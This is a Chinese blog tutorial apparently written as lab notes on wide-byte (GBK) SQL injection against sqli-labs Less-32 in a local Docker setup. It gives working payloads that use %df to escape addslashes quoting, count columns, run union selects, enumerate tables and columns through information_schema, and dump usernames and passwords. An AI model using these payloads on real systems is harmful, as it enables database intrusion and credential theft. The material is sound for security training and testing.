热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【SQL注入09】宽字符注入基础与实操(基于sqlilabsless32)

目录1宽字符注入概述1.1GBK编码简介URL编码规律1.2宽字符注入2实验平台2.1实验平台2.2实验目标3实验过程3.1前戏3.2判断注入点及注入类型3.3尝试使用union查

目录

  • 1 宽字符注入概述
    • 1.1GBK编码简介
    • URL编码规律
    • 1.2 宽字符注入
  • 2 实验平台
    • 2.1 实验平台
    • 2.2 实验目标
  • 3 实验过程
    • 3.1 前戏
    • 3.2 判断注入点及注入类型
    • 3.3 尝试使用union查询
    • 3.4 获取库名表名字段名
    • 3.5 实验结果
  • 4 总结


1 宽字符注入概述

1.1GBK编码简介


  1. GBK全称《汉字内码扩展规范》。
  2. GBK 采用双字节表示,总体编码范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,剔除 xx7F 一条线。总计 23940 个码位,共收入 21886 个汉字和图形符号,其中汉字(包括部首和构件)21003 个,图形符号 883 个。
  3. 常用字符GBK编码

符号GBK编码
27
"22
|5C
#23
df5c

URL编码规律


  1. GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。
  2. 比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。那么汉字的url编码呢?很简单,看例子:“胡”的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。

1.2 宽字符注入


  1. 定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\',无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。
  2. 适用情形:(1)数据库的编码格式为GBK;(2)在PHP中,通过iconv()进行编码转换。
  3. 原理:加入字节与\构成GBK编码,实现单引号和双引号逃逸。

2 实验平台

2.1 实验平台


  1. 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
  2. 真实机:本实验利用火狐浏览器来实现,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。
  3. 靶机与真实机桥接到同一局域网中。

2.2 实验目标


  1. 获取后台数据库账号及密码。

3 实验过程

3.1 前戏


  1. 真实机打开火狐浏览器,访问靶机IP地址,出现下图,可以不重置实验平台,直接点击Page2进入找到第32关实验。
    在这里插入图片描述
  2. 点击进入第32关,初始界面如下图:
    在这里插入图片描述

3.2 判断注入点及注入类型


  1. 输入参数为?id=1可以看到数据库成功返回第一个账户账号及密码。修改id=2则是返回第二个账号密码,说明id是一个访问者可以控制输入的参数且页面会根据参数进行响应,是一个注入点。
    在这里插入图片描述
  2. 修改参数为?id=1'可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的单引号被转义成了\'
    在这里插入图片描述
  3. 遇到这种情况只能赌后台数据库编码是不是GBK了,修改参数为?id=1%df',按下图分析错误提醒信息可知该输入为字符型且为单引号闭合,同时可知可以实现宽字符注入。
    在这里插入图片描述

3.3 尝试使用union查询


  1. 目的:判断能否使用union联合查询注入。
  2. 修改参数为?id=1%df' order by 3--+,页面正常显示,当修改参数为4时,页面显示错误,说明回显内容有3列。
    在这里插入图片描述
  3. 修改参数为?id=-1%df' union select 1,2,3--+,可以看到2和3列数据可以回显。说明可以尝试union联合查询注入。
    在这里插入图片描述

3.4 获取库名表名字段名


  1. 获取库名。修改参数为?id=-1%df' union select 1,2,database()--+,发现本站点数据库为security。
    在这里插入图片描述
  2. 获取表名。修改参数为?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+,发现该数据库下公有4个表,其中有个users的表,是我们注入的目标。
    在这里插入图片描述
  3. 获取字段名。修改参数为?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
    在这里插入图片描述
  4. 用16进制代替英文字符串输入,可以无需使用单引号来括住users,很多工具可以将字符串转为16进制,users转为16进制就是7573657273,为了表示该数是16进制,需要在前面加上0x。修改参数为?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
    在这里插入图片描述
  5. 获取字段内容。修改参数为?id=-1%df' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users--+,该参数中0x3a是冒号的16进制格式,同样也是为了避免使用单引号导致被转义的问题。
    在这里插入图片描述

3.5 实验结果

在上一步成功爆出一堆账号密码,实验成功。

4 总结
  1. 了解GBK编码简单信息;
  2. 理解字节何时会被当做GBK进行解码;
  3. 理解宽字符注入的原理;
  4. 掌握宽字符注入的方法。

推荐阅读
  • 【实例简介】本文详细介绍了如何在PHP中实现微信支付的退款功能,并提供了订单创建类的完整代码及调用示例。在配置过程中,需确保正确设置相关参数,特别是证书路径应根据项目实际情况进行调整。为了保证系统的安全性,存放证书的目录需要设置为可读权限。值得注意的是,普通支付操作无需证书,但在执行退款操作时必须提供证书。此外,本文还对常见的错误处理和调试技巧进行了说明,帮助开发者快速定位和解决问题。 ... [详细]
  • 深入剖析Java中SimpleDateFormat在多线程环境下的潜在风险与解决方案
    深入剖析Java中SimpleDateFormat在多线程环境下的潜在风险与解决方案 ... [详细]
  • 利用爬虫技术抓取数据,结合Fiddler与Postman在Chrome中的应用优化提交流程
    本文探讨了如何利用爬虫技术抓取目标网站的数据,并结合Fiddler和Postman工具在Chrome浏览器中的应用,优化数据提交流程。通过详细的抓包分析和模拟提交,有效提升了数据抓取的效率和准确性。此外,文章还介绍了如何使用这些工具进行调试和优化,为开发者提供了实用的操作指南。 ... [详细]
  • 在PHP中实现腾讯云接口签名,以完成人脸核身功能的对接与签名配置时,需要注意将文档中的POST请求改为GET请求。具体步骤包括:使用你的`secretKey`生成签名字符串`$srcStr`,格式为`GET faceid.tencentcloudapi.com?`,确保参数正确拼接,避免因请求方法错误导致的签名问题。此外,还需关注API的其他参数要求,确保请求的完整性和安全性。 ... [详细]
  • 在安装并配置了Elasticsearch后,我在尝试通过GET /_nodes请求获取节点信息时遇到了问题,收到了错误消息。为了确保请求的正确性和安全性,我需要进一步排查配置和网络设置,以确保Elasticsearch集群能够正常响应。此外,还需要检查安全设置,如防火墙规则和认证机制,以防止未经授权的访问。 ... [详细]
  • C++ 开发实战:实用技巧与经验分享
    C++ 开发实战:实用技巧与经验分享 ... [详细]
  • CTF竞赛中文件上传技巧与安全绕过方法深入解析
    CTF竞赛中文件上传技巧与安全绕过方法深入解析 ... [详细]
  • Java环境中Selenium Chrome驱动在大规模Web应用扩展时的性能限制分析 ... [详细]
  • 在使用SSH框架进行项目开发时,经常会遇到一些常见的问题。例如,在Spring配置文件中配置AOP事务声明后,进行单元测试时可能会出现“No Hibernate Session bound to thread”的错误。本文将详细探讨这一问题的原因,并提供有效的解决方案,帮助开发者顺利解决此类问题。 ... [详细]
  • 2018年9月21日,Destoon官方发布了安全更新,修复了一个由用户“索马里的海贼”报告的前端GETShell漏洞。该漏洞存在于20180827版本的某CMS中,攻击者可以通过构造特定的HTTP请求,利用该漏洞在服务器上执行任意代码,从而获得对系统的控制权。此次更新建议所有用户尽快升级至最新版本,以确保系统的安全性。 ... [详细]
  • 本文介绍了一种利用PHP cURL库高效提取Sohu邮箱联系人列表的方法。通过设置错误报告级别、定义Cookie文件路径等关键步骤,确保了代码的稳定性和可靠性。经过实际测试,该方法在2012年3月24日被验证为有效,能够快速准确地获取联系人信息。此外,文章还提供了详细的代码示例和注意事项,帮助开发者更好地理解和应用这一技术。 ... [详细]
  • JUC(三):深入解析AQS
    本文详细介绍了Java并发工具包中的核心类AQS(AbstractQueuedSynchronizer),包括其基本概念、数据结构、源码分析及核心方法的实现。 ... [详细]
  • 在最近的项目中,我们广泛使用了Qt框架的网络库,过程中遇到了一些挑战和问题。本文旨在记录这些经验和解决方案,以便日后参考。鉴于我们的客户端GUI完全基于Qt开发,我们期望利用其强大的网络功能进行Fiddler网络数据包的捕获与分析,以提升开发效率和应用性能。 ... [详细]
  • 在本文中,我们将详细介绍如何构建一个用于自动回复消息的XML类。当微信服务器接收到用户消息时,该类将生成相应的自动回复消息。以下是具体的代码实现:```phpclass We_Xml { // 代码内容}```通过这个类,开发者可以轻松地处理各种消息类型,并实现高效的自动回复功能。我们将深入探讨类的各个方法和属性,帮助读者更好地理解和应用这一技术。 ... [详细]
  • 本文介绍了 Vue 开发的入门指南,重点讲解了开发环境的配置与项目的基本搭建。推荐使用 WebStorm 作为 IDE,其下载地址为 。安装时请选择适合您操作系统的版本,并通过 获取激活码。WebStorm 是前端开发者的理想选择,提供了丰富的功能和强大的代码编辑能力。 ... [详细]
author-avatar
C1_VISION
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有